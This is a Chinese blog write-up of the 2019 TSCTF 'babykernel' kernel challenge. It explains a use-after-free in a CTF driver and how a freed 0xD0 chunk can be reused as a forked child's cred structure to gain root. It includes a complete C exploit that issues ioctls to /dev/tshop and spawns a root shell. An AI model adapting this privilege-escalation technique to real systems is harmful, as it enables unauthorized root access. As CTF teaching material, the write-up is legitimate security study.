2019-TSCTF-babykernel

0x00 前言

这道题是2019-TSCTF的一道kernel题,出题人是17学长,拿过来假装是参加了2019 TSCTF的比赛。
题目链接
提取码:12wp

0x01 查看文件

在windows中解压img文件,便可以得到里面的cpio文件。利用解压指令:

cpio -idmv < rootfs.cpio

便可以得到文件,打包则是用:

find .| cpio -o --format==newc > rootfs,cpio

0x02 IDA分析

可以看到kfree这里指针没有清空,可以double free和UAF

malloc func
分配0xD0大小的chunk并赋值。 就没有别的什么有用的功能了

0x03 漏洞分析+思路

补充知识一:
struct cred – 进程权限结构体若要达到提权权限,则需要修改权限信息。kernel是用cred结构体记录了线程的权限,每个线程中都有一个cred结构,这个结构保存了该进程的权限等信息(uid,gid等),如果能修改某个进程的cred,那么也就修改了这个进程的权限。
cred结构体源码如下:

只要将这个结构的uid~fsgid全部覆写为0就可以把这个线程权限提升为root(root uid为0) **补充知识二:** slab分配器的管理手段类似于 Glibc 中的 FastbinY。如果free链表内的chunk大小和该内核版本的 cred 结构体大小相同,那么会把free链表中的chunk解链返回给cred。 **补充知识三:** 我们使用fork来创建进程的时候,会使用prepare_cred来准备cred结构体。prepare_cred又会使用kmem_cache_alloc为其分配heap空间。

这样的话首先来调试一下,看看cred要分配多大的chunk:

我们断在prepare_cred,调试发现fork进程的时候创建0xD0大小的chunk。这样的话,结合上面所述内容,我们就有如下思路了:

首先创建malloc一个chunk(即:malloc(chunk1)),删除(free(chunk1)),在进行fork(),此时就会分配这个chunk,那么我们再free(chunk1),再malloc(chunk2)就可以初始化堆上的数据就可以让uid和gid为0

由于create操作中伴随着所在堆块数据的初始化,通过测试我们不用再有多余的操作便能将cred结构体uid及gid位置零。此时子进程就已成功提权(root),那么直接执行system(“/bin/sh”)便可以getshell了。

0x04 exp

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>
uint64_t user_cs, user_ss, user_eflags, user_sp;
uint64_t u64(char * s){
    uint64_t result = 0;
    for (int i = 7 ; i >=0 ;i--){
        result = (result << 8) | (0x00000000000000ff&s[i]);
    }
    return result;
}
void save_status() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
         :
         : "memory"
     );
}

void launch_shell(){
    execl("/bin/sh","sh",NULL);
}

void create(int fd,int index){
    ioctl(fd,0x271a,index);
}

void delete(int fd,int index){
    ioctl(fd,0x2766,index);
}

int main(){
    save_status();
    int fd = open("/dev/tshop",0);
    create(fd,0);
    delete(fd,0);
    int pid = fork();
    delete(fd,0);
    create(fd,1);
    if(pid<0){
        puts("[+] fork error!");
        exit(0);
    }else if(pid == 0){
        puts("[+] root now!");
        system("/bin/sh");
    }else{
        sleep(30);
    }
    return 0;
}

  Reprint policy: xiaoxin 2019-TSCTF-babykernel

 Previous
Windows-PWN环境搭建&基础知识 Windows-PWN环境搭建&基础知识
0x00 前言随队参加了不少比赛,发现pwn题越来越丰富了,人也越来越自闭了,Windows Pwn好像也越来越多了,这里进行总结供今后参考。 先贴一个winpwn和传统linux下pwn的区别: 0x01 环境搭建成功的在windb
Next 
2020 GeekPwn-babypwn 2020 GeekPwn-babypwn
[toc] 1.查看文件 保护全开就想到两个思路了:IO_FILE攻击和劫持hook了 2.IDA分析漏洞定位到create函数中的输入size的地方: 如果size输入0,那么就会绕过判断,同时会分配0x20 size的chunk,但
2020-07-29
  TOC